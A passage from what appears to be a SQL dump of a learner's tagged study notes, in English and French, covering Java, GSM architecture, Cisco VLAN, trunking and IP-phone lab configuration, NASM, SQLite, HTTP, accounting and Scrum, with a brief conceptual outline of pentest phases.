21:51:10'),(564,'#java -transtype','\nint a = 6;\ndouble b = (double) a;\n	//	then b is a double\n',NULL,NULL,'2015-02-03 21:54:48'),(565,'#java -string -compare -equalsIgnoreCase','\nif(str00.equalsIgnoreCase(str01))\n	// explicit\n',NULL,NULL,'2015-02-03 22:41:57'),(566,'#java -abstract-class -intro','\nclass abstract must have at least one method\nclass abstract can have method which has instruction inside of the meth\n	ex:\n	abstract class class00 {\n		...\n		public int meth00(){\n			return 0;\n		}\n		...\n	}\n\nla classe qui herite d_une classe_abstraite n_est pas forcee de definir tout les\n	meth du classe_abstraite_mere\n',NULL,NULL,'2015-02-17 16:12:40'),(567,'#java -abstract-method -intro',NULL,NULL,'\nabstr-method should not be inserted inside a \n	__non_abstract_Class__\n\nthis next is wrong:\n	class Class00{\n		...\n		abstract void meth00(){\n		}\n		...\n	}\n','2015-02-03 22:57:06'),(568,'#java -case-to-use-abstract_class',NULL,NULL,'\nhttp://docs.oracle.com/javase/tutorial/java/IandI/abstract.html\nYou want to share code among several closely related classes\nYou expect that classes that extend your abstract class have many common methods or fields, \nYou want to declare non-static or non-final fields\n','2015-02-03 23:09:21'),(569,'#java -case-to-use-interface',NULL,NULL,'http://docs.oracle.com/javase/tutorial/java/IandI/abstract.html\nYou want to specify the behavior of a particular data type, but not concerned about who implements its behavior.\nles methodes dans les interfaces ne sont pas a implementer\n','2015-02-17 16:18:46'),(570,'#gsm -intro','\nGSM uses \n	narrowband Time Division Multiple Access (TDMA) for voice and for SMS\n\ncarry 64 kbps to 120 Mbps of data rates\n\nRoaming is the ability to use your GSM phone number in another GSM network.\n\nit has many types of frequency range (827)\n',NULL,NULL,'2015-02-25 14:31:17'),(571,'#gsm -intro -aim','\nImproved spectrum efficiency.\nInternational roaming.\nLow-cost mobile sets and base stations (BSs).\nHigh-quality speech.\nCompatibility with Integrated Services Digital Network (ISDN) and other telephone company services.\nSupport for new services.\n',NULL,NULL,'2015-02-03 23:33:26'),(572,'#gsm -architecture -intro -basis','\nconsists of several functional entities:\n        ms\n        bss\n        nss\n        oss\n\n                     +--+\n                     |ms|\n                     +-++\n                       |\n              ---------+--------   um_interface\n        +--------------+---------+\n        |           +--+--+      |\n        | B         | bts |      |\n        |           +--+--+      |\n        | S            |         |\n        |     ---------+---------------abis_interface\n        | S            |         |\n        |           +--+--+      |\n        |           | bsc |      |\n        |           +--+--+      |\n        |              |         |\n        +--------------+---------+\n              ---------+---------  a_interface\n                       |\n         +-------------+-------------+          --+\n         |      +---+  |   +---+     |            |\n         |      |vlr|  |   |auc|     |            |\n         |      +---+  |   +---+     |            |\n         |  +---+   +--+--+    +---+ |            +--   N S S\n         |  +hlr|   |M S C|    |eir| |            |\n         |  +---+   +-----+    +---+ |            |\n         |                           |            |\n         +-----------+---------------+            |\n                     |                          --+\n                     v\n              +--------------+\n              |     gmsc     |\n              +------+-------+\n                     |\n                     v\n               +------------+\n               |  pstn      |\n               |      isdn  |\n               |  pspdn     |\n               |      plmn  |\n               +------------+\n',NULL,NULL,'2015-02-25 14:51:21'),(573,'#gsm -bss -intro','\ncomposed of 2parts:\n	bts\n	bsc\n',NULL,NULL,'2015-02-03 23:33:26'),(574,'#gsm -architecture -in-details1','\ngsm network is divided into 4major parts:\n    ss or nss\n    bss\n    ms\n    omc\n=====================================================\n\nnss = msc + hlr + eir vlr + auc\n\n        +---+                               +------+             +----------+\n        |hlr+-----------+         +---------+ AuC  |             |pstn-isdn |\n        +---+           |         |         +------+      +------+pspdn-plmn|\n        +------+       ++---------++       +------+       |      +----------+\n        |sms-sc+-------+gsm_network+-------+ gmsc +-------+\n        +------+       +-+--+-----++       +------+\n        +---+            |  |      |        +-----+\n        |eir+------------+  |      +--------+ cbc |\n        +---+               |               +-----+\n                         +--+--+          +------+                 |\n                         | msc +----------+ vlr  |                 |um_interf\n                         +--+--+          +------+                 |\n                            |                                      |\n                         +--+--+                                   |       ||\n                         |trau |                                   |    +----+\n                         +-+---+                      +-------+    |    |  M |\n           a_interface-----|--------                  |antenna|<------->|  S |\n                           |         |      +---------+ bts   |    |    +----+\n                         +-+-+       |     ++----+    +-------+    |\n                         |bsc+-------------+ bts |                 |\n                         +---+       |     +-----+\n                                     |\n                                     |\n                                     |\n                                     |abis_interface\n\nms: mobile station\nbts: base transceiver sys\nbsc: base station controller\nbss: base station subsystem\n    = bts + bsc\nmsc: mobile switching controller\ngmsc: gateway msc\nsms: short messaging service\ntrau: transcoder and adapter unit\nvlr: visitor location register\neir: equipment identity register\ncbc: chargeback center\nhlr: home location register\n\nisdn: integrated service digital network\npstn: public switched telephone network\n\npspdn:  Packet Switched Public Data Network\n',NULL,NULL,'2015-02-25 13:28:07'),(575,'#linux -conf-bashrc','\n/etc/bash.bashrc\n~/.bashrc\n',NULL,NULL,'2015-02-05 06:24:58'),(579,'#linux -conf-PS1 -bashrc','\nvi ~/.bashrc or /etc/bash.bashrc\nedit srch(PS1)\n#   [] #:~/conf_home\n#       PS1=\'\\n\\[\\033[107m\\] \\[\\033[00m\\] :\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$ \'\n\n#   [] root@lin:~/conf_home#\n#       PS1=\'\\n\\[\\033[107m\\] \\[\\033[00m\\] ${debian_chroot:+($debian_chroot)}\\[\\033[01;31m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$ \'\n        #|---------------blank_space-----------| |------------------user_name---------------------------|-|------pc_name---|-|--------------current_folder_path---|-#_$-\n\n#   [] # refr_bash\n    # no path of the current emplct\n    #PS1=\'\\n\\[\\033[107m\\] \\[\\033[00m\\] \\$ \'\n',NULL,NULL,'2015-02-05 06:33:58'),(580,'#cisco -check-conf-switch',NULL,NULL,'\nsw# show running-config\n','2015-02-05 07:17:51'),(584,'#cisco *switch -trunk -show-conf',NULL,NULL,'sw(conf)# show interface trunk','2015-02-05 08:21:51'),(585,'#cisco -trunk-protocol',NULL,NULL,'\nthe protocol which allow 2sw to make the trunking is called:\n    802.1the protocol which allow 2sw to make the trunking is called:\n	    802.1q\n','2015-02-05 08:25:33'),(586,'#cisco -trunking -intro after(583)',NULL,NULL,'\nthis should be followed after (583)\n\nu should be able to do this schema\n\n              +---+\n          1.2 |pc0|\n              +---+---------------+\n                                  |\n              +---+               |                                      +---+\n          2.2 |pc1+--------------+|                          +-----------+pc4|  1.101\n              +---+              ||                          |           +---+\n              +---+              ++--+  fa0/4        fa0/4 +---+           +---+\n          2.3 |pc2+--------------+sw0+-- ------------------+sw1+-----------+pc5|   2.102\n              +---+      +-------++--+                     +---+           +---+\n                         |        |                          |\n              +---+      v        |                          |           +---+\n          3.2 |pc3+------v--------+                          +-----------+pc6|  2.103\n              +---+      v                                               +---+\n                         |\n                       +-+                  \n                    +--+---------------+\n                    |ip(3.99)          |\n                                        \n                                        \nu can do whatever u want in the port which will make in communication the 2sw\n\'\nwithout trunk in_fa0/4 of the sw0 and sw1,\nonly pc in vlan1 can communicate through the 2sw, ie\n    1.2 can ping 1.101\nbut 2.102 can_t ping 2.2\n\'\nto make 2.2 able to ping 2.102\n    u have to set fa0/4 to trunk which will able communication of vlan(x0_to_x1)\n      through the 2sw\n\nlet_s do the trunk in fa0/4 able to set communication of vlan_1 till vlan_40, and vlan_99\ngo to fa0/4\nset it to mode trunk\n    sw(conf-int)# switchport mode trunk\n                # switchport trunk allowed 1-40,99\n                # end\ndo that on the 2interfaces which make the sw to communication        \n\nnow u can ping \n	2.103 from 2.2\n	2.2 from 2.103\n	and\n	1.101 from 1.2\n	....\n','2015-02-05 08:30:17'),(587,'#cisco -native-vlan -intro after(586) #todo_not_really_clear',NULL,NULL,'\nif 2sw are in communication but,\n    sw1 is a cisco\n	sw2 is not cisco\nthen sw1 will put packets from sw2 to the native_vlan of sw2\nby default native_vlan is in vlan_1\n\n\nto conf the native vlan in sw\ngo to int fa0/1 \nset the native vlan to vlan_80\n	sw(conf-int)# switchport trunk native vlan 80\n\nif u configured 1sw to native_vlan on vlan_80\n	then u have to conf the sw which is connetcted to it and set a native vlan on vlan_80 also\n','2015-02-05 17:56:56'),(588,'#cisco -show-conf-interface-if_trunk -native -switchport *switch',NULL,NULL,'\nsw(conf)# show interface fa 0/1 switchport\n\nu can see if fa0/1 is in trunking protocol\n...\n##Administrative Mode: Trunk\n...\n\nto see if it is in native\n...\nTrunking Native Mode VLAN: 1 (default)\n...\nit is like that if the native vlan is not configured\n','2015-02-05 15:45:11'),(583,'#cisco -vlan-management -after(520)',NULL,NULL,'\nthis should be followed after doing n_t(520)    \n\n\ncreate a vlan which the name is management,\nthat vlan will define the pc which can conf the sw\nso we have this next one:\n                                +------------------------------------+\n                        +-------+-+                                  |\n         +--------------+   sw    |                                  |\n       +-+-+      +-----+----+----+                                  |\n       |pc1|    +-+-+        | fa0/3                                 |\n       +---+    |pc2|      +-+-+                                     |\n                +---+      |pc3|(192.168.3.2)                        |\n       |----+---------|    +---+                                     |\n            v                                                        |\n          vlan2                                                      |\n                           |---|                                     |\n                                                                     |\n                 in_vlan_3 will be able to telnet or ssh and         |\n                        conf the switch but we have                  |\n                            to conf the switch                       |\n                                                                     |\n                                                                  -+ |\n    create vlan3                                                   | |\n    sw(conf)# vlan 3                                               | |\n    (conf-vlan)# name mgt -- mgt=management                        +-+\n               # exit                                              |\n                                                                   |\n    go to fa0/3 and set it to mode access u know it from (520)     |\n    set the fa0/3 in vlan3, uktf  (520)                            |\n    go in vlan3                                                    |\n        (config)# interface vlan 3                                 |\n    give an ip to the sw                                           |\n               -if)# ip address 192.168.3.99 255.255.255.0         |\n                   # no shutdown                                   |\n                                                                   |\n    now the sw has an ip(3.99),                                    |\n    sw can be pinged by 3.2                                        |\n                                                                   |\n    to tell that the sw can be pinged|managed by some(ifk: 16) pc  |\n    sw(conf)# line vty 0 15                                        |\n            # password pass00                                      |\n            # login                                                |\n            # end                                                  |\n    now we can telnet the sw from 3.2 but we are not yet able to go|in __conf_mode__ of sw\n                                                                   |\n    to set pc in vlan_3 to be able to go in conf_mode of sw        |\n        sw(conf)# enable secret pass00                             |\n                                                                ---+\n    let_s start trunking\n','2015-02-05 07:46:40'),(589,'#cisco -ip-phone',NULL,NULL,'\nhas 2 interfaces:\n    switch\n    pc\n    if u want to connect an ip-phone to switch\n		use the interface switch in the ip_phone\n\n\nit is not powered on by default on packet tracer\n\nto give ip to ipPhone\nu have to use a dhcp_server(from router)\n','2015-02-06 02:50:38'),(590,'#cisco *switch -voice-vlan -voip',NULL,NULL,'\n\n                                                +-----------+\n              +---+                             |routers2811|\n          1.2 |pc0|                             +----------++\n              +---+---------------+                        |0/0\n                                  |                        |        \n              +---+               |                        |                     +---+\n          2.2 |pc1+--------------+|                        |         +-----------+pc4|  1.101\n              +---+              ||                     0/5|         |           +---+\n              +---+              ++--+  fa0/4              +-----------+           +---+\n          2.3 |pc2+--------------+sw0+-----------------0/4-+    sw1    +-----------+pc5|   2.102\n              +---+      +-------++--+                     +-----+---+-+           +---+\n                         |        |                              0/20|\n              +---+      v        |                              |   |           +---+\n          3.2 |pc3+------v--------+                              |   +-----------+pc6|  2.103\n              +---+      v                                       |               +---+\n                         |                                     +-+---------+\n                       +-+                                     |ipPhone7960|\n                    +--+---------------+                       +-----------+\n                    |ip(3.99)          |\n\nthat schema was first seen on 586\n\nvlan_150 will be for voice\ncreate the vlan_150\ngive a name to vlan_150::voice\nset fa0/20 to vlan_150\n\nu have to set fa0/5 to trunk_vlan(1-2-3-150)\n    bcz the router will be the gateway for all the pc in the network  \n\nfa0/0 of the router will have many ip, bcz it will be a gateway for those vlans\nso:\n                      +-------------------+        +--+-----\n                      |  router_2811      |        |  | 192.168.1.1\n                      +----------+--------+        |  |         2.1\n                                 |                 |            3.1\n                               0/0 ----------------+            150.1\n\nstepXX: to do that:\n    u need subinterface\n    to connect 1.1 to fa0/0_of_router\n    go in fa0/0.1(a sub_interface) of the router\n        r(conf)# interface fa 0/0.1\n    first u need to set that vlan_1 use an encapsulation_dot1q\n        r(conf)# encapsulation dot1q 1\n                                     ^--- bcz vlan_1  \n    and give the ip address(192.168.1.1) to fa0/0.1 (u should be in 0/0.1 already)\n        r(conf-subif)# ip address 192.168.1.1 255.255.255.0\n        \nrepeat stepXX for vlan_(2, 3, 80, 150)\ndo not forget to give a gateway for the pcs\n    ex:\n    1.2 should have 1.1 as a gateway\n    u will be able to change the gateway of a pc from where u changed the ip of a pc\n\n','2015-02-05 18:01:35'),(591,'#cisco -voip after(590)',NULL,NULL,'\n#intro\nthis should be done after doing 590\n#intro_end\n                                                +-----------+\n              +---+                             |routers2811|\n          1.2 |pc0|                             +----------++\n              +---+---------------+                        |0/0\n                                  |                        |        \n              +---+               |                        |                     +---+\n          2.2 |pc1+--------------+|                        |         +-----------+pc4|  1.101\n              +---+              ||                     0/5|         |           +---+\n              +---+              ++--+  fa0/4              +-----------+           +---+\n          2.3 |pc2+--------------+sw0+-----------------0/4-+    sw1    +-----------+pc5|   2.102\n              +---+      +-------++--+                     +-----+---+-+           +---+\n                         |        |                              0/20|\n              +---+      v        |                              |   |           +---+\n          3.2 |pc3+------v--------+                              |   +-----------+pc6|  2.103\n              +---+      v                                       |               +---+\n                         |                                     +-+---------+\n                       +-+                                     |ipPhone7960|\n                    +--+---------------+                       +-----------+\n                    |ip(3.99)          |\n\n\nto give an ip to the ipPhone, u have to set a dhcp_server on the router\nto do that\n    r(conf)# ip dhcp pool voip00                                        -+\n     (dhcp-config)# network 192.168.150.0 255.255.255.0                  |\n                              ^-------- netw which the ipPhone is in     +-- we configured\n                                                                         |   the dhcp in the\ndefine the gateway in the router which the voip will hand_out            |       router\n  bcz the router is a gateway for many netw:1.0/24, 2.0/24, ...          |\n     (dhcp-config)# default-router 192.168.150.1                         |\n                                                                         |\nwe have to set a code for the voip in our router                         |\n     (dhcp-config)# option 150 ip 192.168.150.1                          |\n                            ^---this is a code but not a vlan_number    -+\n\nwe have to conf the telephony-service on the router                     -+--- we start to configure\n    r(config)# telephony-service                                         |     the telephony-srvc in\n     (config-telephony)#                                                 v     the router\nto convey the max of number in the telephony-service                     v\n                       # max-dn 10                                        \n                                 ^-- so there_is 10number supported in our telephony_service\n                             ^-- dn is an abbrev for dial_number\n                       # max-ephone 10\n                                     ^-- so there is 10phones supported in our telephony_service\n\nwe have a telephony-service, \n  but we don_t have an ip which is connected to our telephony-service\n    to make an ip connected to our telephony-service, we have to do:\n                       # ip source-address 192.168.150.1 port 2000\n                                                               ^-- this is the port for our telephony\nto do an automatic assignment of number for the telephony which are connected to our telephony-srvc\n                       # auto assign 1 to 9 \n                                    ^^^^^^-- bcz we conveied 10 number and phones able to \n                                                connect to our phone\n\nwe have to set the switchport which will redirect to our ipPhone in the sw\nbefore it was a trunk or access mode in the sw\ngo to int_fa0/20 in the sw  \n  sw(conf-if)# switchport mode access\nreverse that 0/20 is in vlan_150,\n  note that it is right that it is in mode_access\n             # no switchport access vlan 150\n             # switchport voice vlan 150\n\n\nlet_connect another ipPhone to our switch\nso:\n                  +-----------+\n                  |    sw     |\n                  +-+-------+-+\n                 0/20       0/21\n                    |       |      +----this is the new one\n                    |       |      v\n            +-------+-+    ++------+----+\n            |ipPhone00|    |   ipPhone01|\n            +---------+    +------------+\n\nlet_give a number to our phones\nnotes that there is order in which we connected our phone\n  we connected ipPhone00 in the first_time\n    then it should be that which will get the first number\nto give a number to the phone, we have to conf the router\n    r(config)# ephone-dn 1\n                         ^-- to tell that we want to give a number to our first connected phone\n             # number 62001\n                      ^^^^--- this is the number which is given\n             # ephone-dn 2\n             # number 62002\n\nu can check if the ipPhone got an ip or not from the router\n  r(config)# show running-config\n    out:\n      ...\n    ephone-dn 1\n     number 62001\n\n    ephone 1\n     device-security-mode none\n     mac-address 0002.178D.3C57\n     type 7960\n     button 1:1    \n      ...\n\nif everything was OK,\nu should be able to call from ipPhone00 to ipPhone01\n\n','2015-02-06 03:01:49'),(592,'#asm #nasm -intro',NULL,NULL,'nasm is portable\n\nasm program is divided into some sections:\n	section .data\n		to declare initialized data\n	section .text\n		here is where u write ur assembly code\n	\n','2015-02-06 03:39:39'),(593,'#nasm #asm -intro -hello',NULL,NULL,'\nu have this next in ur hello.asm\nsection .data\n	hello:     db \'Hello world!\',10    ; \'Hello world!\' plus a linefeed character\n	helloLen:  equ $-hello             ; Length of the \'Hello world!\' string\n	                                   ; (I\'ll explain soon)\n\nsection .text\n	global _start\n\n_start:\n	mov eax,4            ; The system call for write (sys_write)\n	mov ebx,1            ; File descriptor 1 - standard output\n	mov ecx,hello        ; Put the offset of hello in ecx\n	mov edx,helloLen     ; helloLen is a constant, so we don\'t need to say\n	                     ;  mov edx,[helloLen] to get it\'s actual value\n	int 80h              ; Call the kernel\n\n	mov eax,1            ; The system call for exit (sys_exit)\n	mov ebx,0            ; Exit with return code of 0 (no error)\n	int 80h\n\nassemble it and it will create a hello.o \n	nasm -f elf hello.asm\ncreate an executable and create a link between the exe and the hello.o\n	ld -s -o hello hello.o\nrun it\n	./hello\n','2015-02-06 03:59:49'),(594,'#ipV6 -intro','\nipV6 will be used for internet_version2\nipv6 work on network_layer(layer_3)\n\nData prioritization in IPv4 is not up to date\n    ie IPv4 has a few bits reserved for Type of Service or Quality of Service\n    they do not provide much functionality\n\nipv(0-3) was used in the development|experiment use only\n    and so is ipv5\n',NULL,NULL,'2015-03-07 15:18:31'),(595,'#ipv4 -intro',NULL,NULL,'\nit is a 32bits long\nso there is 2^32 addresses in ipv4','2015-02-06 04:19:17'),(596,'#sqlite -intro -long-list',NULL,NULL,'\nin linux to start sqlite is\n	$ sqlite3\nnow u_re in the prompt of sqlite\n	sqlite> \n\nto get help\n	sqlite> .help\n\nto list all tables in sqlite\n	.tables\n\nto list all databases\n	.databases\n\nto show how table00 was created\n	.schema table00\n\nthere is a table which hold all information about ur db\nthat table is: sqlite_master\n\nsqlite is case insensitive\n\ncomment in sqlite is like this:\n	sqlite> .tables -- this is a single line comment in sqlite\n\nto create a db in sqlite3\n	in ur prompt of linux, type this\n	# sqlite3 db00.db\n		-- do not forget the .db\n\nto dump db00.db to db00.sql\n	$sqlite3 db00.db .dump > db00.sql\n	ifk: .db is the engine of the db\n			.sql is where the data of the db is stored\n\nto restore a db\n	$sqlite3 testDB.db < testDB.sql\n','2015-02-06 04:52:38'),(597,'#account -introduction','\nAccounting is a business language\n	used to communicate financial transactions and their results\nIt is a comprehensive system to collect, analyze, and communicate financial information\n\nif the number of transaction is very small, then accounting is not so \n	useful\n\nWith the help of accounting process, we can determine \n	the profit or loss of the business on a specific date.\n\ngoals of accounting:\n	to keep systematic records of transactions.\n		to collect financial data and to record it systematically\n	to make sure of profitability\n		to evaluate the profits and losses\n	To ascertain the financial position of the business\n		sometimes with the help of balance_sheet or a statement_of_affairs\n	to assist in decision-making for the future from the result of the past\n	to fulfill compliance of law\n		business entities are being run and governed according to different law\n			such as taxation\n			everyone has to keep and maintain different types of accounts and records as prescribed by corresponding laws of the land\n\n',NULL,NULL,'2015-02-06 16:59:38'),(598,'#account -process','\nThe length of an accounting cycle can be monthly, quarterly, half-yearly, or annually. \nIt may vary from organization to organization but the process remains the same\nAccounting cycle refers to the specific tasks involved in completing an accounting process.\n\n\n                          +------------->>>> 1: collecting& ---------+\n                          |                   analysing_doc          |\n                          |                                          v\n                       9: post                                    2: posting  \n                +->>   closing                                        in      ---+\n                |    trial_balance                                 journal       |\n                |                                                                |\n                8: post                                                          |\n       +->>  closing entries                                        3:ledger     |\n       |                                                              account   <+\n       |                                                                    |\n       |          7: preparation                                            |\n       +-------  of financial                                    4: trial  <<\n                     statements                                    balance -----+\n                         ^                                                      |\n                         |          6: adjusted            5: adjustment        |\n                         +------  trial balance                entries    <<<---+\n                                        ^                        |\n                                        +------------------------+\n\n1: u have to examine the src doc and analyse them\n	 For example, cash, bank, sales, and purchase related documents.\n	 this is a continuous process throughout the accounting period\n2: related to the above doc\n	u pass journal entries using double entry sys in which debit and \n	credit balance remains equal. this should be kept throughout the \n	accounting period\n3: the result from 2 should be put in some ledger account \n#end\n',NULL,NULL,'2015-02-06 22:02:03'),(599,'#java -bitset -intro -example',NULL,NULL,'\nuseful in cases where you need to keep up with a set of Boolean values\nThis makes it similar to a vector of bits\nBitSize(int): allows to specify the initial size\nBitSize(): to create the object\nBitSize implements cloneable interface\nsome methods:\n	void and(BitSet bitSet)\n		ex:	bit00=new BitSet();\n			bit00.set(1):\n			bit00.set(0):\n			bit00.set(1):\n			\'\n			bit01=new BitSet();\n			bit01.set(0);\n			bit01.set(0);\n			bit01.set(1);\n			\'\n			bit01.and(bit00);\n\n	void andNot(BitSet bitSet)\n	void or(BitSet)\n	void xor(BitSet)\n\n	BitSet bits1 = new BitSet(16);\n    BitSet bits2 = new BitSet(16);\n      \n    // set some bits\n	// from above, u shoud be able to do\n	// bits1={1, 0, 0}\n	// bits2={1, 1, 0}\n	\n	bits1.and(bits2);\n	sop(bits1);\n	// out:\n	// 	1, 1, 0\n','2015-02-07 04:17:34'),(600,'#java -data_structure -sd','\nEnumeration\n         you can enumerate (obtain one at a time) the elements in a collection of objects.\n        superseded by iterator, but not deprecated\n        considered as obsolete\n        those next methods are very important for enumeration in java\n                boolean hasMoreElements()\n                Object nextElements()\n#enumeration_end\n#BitSet\n#Vector\n#Stack\n#Dictionary\n#Hashtable\n#Properties\n\n',NULL,'\nEnumeration\n	 you can enumerate (obtain one at a time) the elements in a collection of objects.\n	superseded by iterator, but not deprecated\n	considered as obsolete\n	those next methods are very important for enumeration in java\n		boolean hasMoreElements()\n		Object nextElements()\nBitSet\nVector\nStack\nDictionary\nHashtable\nProperties\n','2015-02-10 15:31:54'),(601,'#pentest -step -methodology','\nhttp://www.tutorialspoint.com/security_testing/security_testing_process.htm\n\n    Foot Printing --+\n    Scanning        +-- ifk, can be bound 2gvr\n    Enumeration   --+\n    Exploitation\n\nFootprinting, the first step that a penetration tester used to evaluate the security of the web application\n	 It means gathering the blue print of a particular system or network and about the \n		devices that are attached to the network under consideration\nScanning, the second step that we perform after Footprinting\n	It involves scanning Open ports, that is the ultimate goal\n	pinging machines, determining network ranges\nenumeration, the last step and performed as a result of scanning\n	the goal is to get the complete picture of the target\n\n',NULL,NULL,'2015-02-07 06:26:27'),(602,'#network -http -content','\nsome continuation in 413\nrequest\n	request line\n	set of request line\n	entity\nresponse\n	status line\n	set of response headers\n	entity\n',NULL,NULL,'2015-02-07 06:32:59'),(603,'#network -introduction -http','\nHTTP is connectionless:\n	the client connects to a server for a request,\n		after that it deconnects and wait a response from server\nHTTP is stateless:\n	The server and client are aware of each other only during a current request\n	Afterwards, both of them forget about each other.\n	neither the client nor the browser can retain information between different request across the web pages\nHTTP is media independent:\n	any type of data can be sent by HTTP\n	This is required for client as well as server to specify the content type using appropriate MIME-type\n',NULL,NULL,'2015-02-07 07:01:15'),(604,'#network -introduction -http','\nHTTP operates at Application Layer\n\nHTTP is connectionless:\n	the client connects to a server for a request,\n		after that it deconnects and wait a response from server\nHTTP is stateless:\n	The server and client are aware of each other only during a current request\n	Afterwards, both of them forget about each other.\n	neither the client nor the browser can retain information between different request across the web pages\nHTTP is media independent:\n	any type of data can be sent by HTTP\n	This is required for client as well as server to specify the content type using appropriate MIME-type\n\nHTTP is NOT a secured protocol.\nHTTP uses port 80 as default for communication\nNo Encryption/digital certificates required for using HTTP\n',NULL,NULL,'2015-02-07 07:03:41'),(605,'#mgt -definition -types','\nLe style de management représente l’ensemble des attitudes et\ndes comportements qui décrit la manière\ndont un responsable exerce son pouvoir sur un groupe.\n\nIl s’agit bien de la façon de commander, d’exercer l’autorité.\n####asdf',NULL,NULL,'2015-02-11 18:45:10'),(606,'#scrum -intro -long-list','qui dit methode dit \"comment faire\" les choses\nscrum se contente d_offrir un cadre de gestion de projet agile(et c deja beaucoup hein:\n	des roles, rythme iteratif, reunions precises et limites dans le tps,\n	des backlog(product backlog, sprint backlog, graphique d_avancement\n	)\n	)\n\nscrum ne couvre pas tout les gestions de projet, xp peut le completer\n\nles 3roles dans scrum:\n	1 product_owner. \n		porte la vision du produit a realiser\n	2 l_equipe de dev. \n		transforme les besoins exprimes par le po en fonctionnalite utilisables\n	    elle doit etre pluridisciplinaire(developpeur, architecte logiciel, ingenieur sys,\n			dba, analyste, graphiste)\n	3 scrum_master.\n		doit maitriser scrum, possede le role de coach aupres du po et aupres de l_equipe de dev\n		s_assure que l_equipe de dev est productive\n		consideree comme le chef de projet\n\n\nvision du produit et product_backlog\n===========================================================================\nCette activité de construction du Product Backlog est collaborative, elle implique le Product Owner et l’équipe de développement\nLa première étape consiste à formaliser la vision du produit (logiciel) que l’on souhaite réaliser\n	guidera les acteurs du projet\n	la suite est de lister les exigences fonctionnelle et non_fonctionnelle du prd\n	Chaque exigence est ensuite _estimée_ par l’équipe de développement avec la technique de __Planning Poker__\n		en fct des estimations, la liste ainsi complétée est ordonnancée. cette liste est le __product_backlog__\n		en convertit en premier les exigences qui apportent le plus de valeur ajoutée au client\n\nprd_backlog et vision du prd décrit les principaux objectifs, _jalons_, utilisateurs visés\n\nle chgt du prd_backlog est encouragee pour éliminer les idées de départ qui s’avéreront mauvaises et de prendre en compte les nouvelles idées qui arriveront en cours de route\n\ndemarrage du scrum\n================================================================================\non determine la duree des iterations ou sprint(4semaines max)\n	cette duree devra rester la meme pour avoir resultat propice\nun projet demarre avec \"sprint 0\"\n	dédié aux travaux préparatoires du projet\n		construction du product backlog et de la vision du produit\n		mise en place de l’intégration continue\n\n		definition de l_architecture generale du projet\n		initiation des acteurs a scrum\n		...\n	la duree du sprint-0 peut-etre different de la durée fixée précédemment\n		mais ne pas le faire trop longtemps\n	L’architecture doit être souple et émerger au fil des sprints\n\n\n	\nRéunion de planification de sprint\n================================================================================\n1. quoi\n	qd backlog est finit(suffisamment ordonnancee et complet), on planifie sprint\n	le po revoit alors avec l’équipe de développement \n		la vision du produit, le plan de livraison(jalon et deadline)\n		l’objectif du sprint et le Product Backlog\n	l_equipe doit verifier souvent l_estimation dans backlog\n2. le comment\n	l_equipe de dev fait l_inventaire_ qui permet de rendre les exigences en fonctionnalites\n		utilisable\nselon analyse, si prevision dans backlog est consideree comme erronee\n	alors scrum_master peut reajuster aupres de po la liste des exigences\n\n',NULL,NULL,'2015-02-09 20:26:13'),(607,'#agile -introduction','\nOn parle surtout de paradigme Agile, philosophie agile, approche agile, etc\n\nmanifest = feuille de route\n\n4valR:\n	les personnes et les interactions sont plus importants que les processus et  outils\n	un logiciel qui fonctionne prime sur de la documentation\n	la collaboration est plus important que les suivi d_un contrat\n	la reponse aux chgt passe avant le suivi d_1 plan\n\n12 valeurs:\n	1 satisfaire le client en livrant tot et regulierement des logiciel avec une veritable valeur ajoutees\n	2 acceptes le chgt øeøe un peu tard dans le dev\n	3 livres frequemt une application qui fonctionne\n	4 collabores quotidiennement entre client et developpeur\n	5 batir le projet autour des personnes motives en leur fournissant environnment\n		et support en leur faisant confiance\n	6 communiquer par des conversation en face a face\n	7 mesurer la progression avec le logiciel qui fonctionne\n	8 garder un rythme de travail durable\n	9 rechercher l_excellence technique et la qualite\n	10 laisser l_equipe s_auto organiser\n	11 rechercher la simplicite\n	12 a interval regulier, reflechir aux moyen de devenir plus efficace\n\nø un dev agile se caracterise par un stule de conduite de prj iteratif, incremental\n	et adaptif, centree sur l_autonomie des rsrc humaine,\nø meth agile implique au max les client et permettent une gd reactivite a ses dmd\n',NULL,NULL,'2015-02-09 14:40:22'),(608,'definition jalon dans scrum','output na phase irai ka feno io vao mande ny phase manaraka',NULL,NULL,'2015-02-09 15:07:44'),(609,'definition planning_poker scrum','mettre à profit les expériences de chacun et de parvenir rapidement à une estimation optimale et objective',NULL,NULL,'2015-02-09 15:12:23'),(610,'definition product_backlog #scrum','\nservira à piloter l’équipe de développement et pourra évoluer tout au long du projet\nle chgt est encouragé afin de pouvoir éliminer les idées de départ qui s’avéreront \n	mauvaises et de prendre en compte les nouvelles idées qui arriveront en cours de route.\n',NULL,NULL,'2015-02-09 15:26:55'),(611,'definition unanimite','accordee par tous, harmonie',NULL,NULL,'2015-02-09 15:40:27'),(612,'-planning_poker #scrum -steps','\n1 Les participants s\'installent autour d\'une table, pour qu_il puisse se voir\n2 Le responsable de produit explique à l\'équipe un scénario utilisateur ( _user_story_)\n3 Les participants posent des questions au responsable de produit sur la satisfaction\n	qui vont le considerer comme terminee\n4 Chacun des participants évalue la complexité de ce scénario\n	choisit la carte qui correspond a son estimation et la depose en face vers bas, sur la table devant lui\n5 Au signal du facilitateur, les cartes sont retournées en même temps\n6 S\'il n\'y a pas unanimité, la discussion reprend.\n7 On répète le processus d\'estimation jusqu\'à l\'obtention de l\'unanimité.\n',NULL,NULL,'2015-02-09 17:30:04'),(613,'definition integrateur_web','\nest le chaînon manquant entre le designer et le développeur\nintercepte les layouts du designer, qui les transforme en (X)HTML/CSS\n	les livre au développeur afin que ce dernier puisse y intégrer les fonctionnalités server-side du site\n\nc un metier tres recent\nsouvent appellee __developpeur front-end__ \n\nchaine de production du web\n================================================================================\n +-----------------+              +--------------------+           +----------------+          +---------------+\n |  wireframe ou   |              | designer_graphique |           |integrateur_web |          |developpeur_web|\n |    prototypeur  |              | ou web_designer    |           +----------------+          +---------------+\n +-----------------+              +--------------------+\n  ø definit l_arborescence          ø en se basant sur le           ø va creer une maquette      ø utilise la squelette\n    du site et son struct             wireframe, on produit           fonctionnelle venant         et injecter les \n  ø produit un wireframe              un maquette graphique           du maquette graphique        contenus reels\n    un doc que l_equipe doit        ø les pages ne sont que         ø creer rendu reel du        ø rend le site \n    suivre comme                      des images                      site mais les contents       administrable par le\n    emplct logo, menu,                                                sont factices                client\n    .....                                                           ø comme squelette            ø le met en 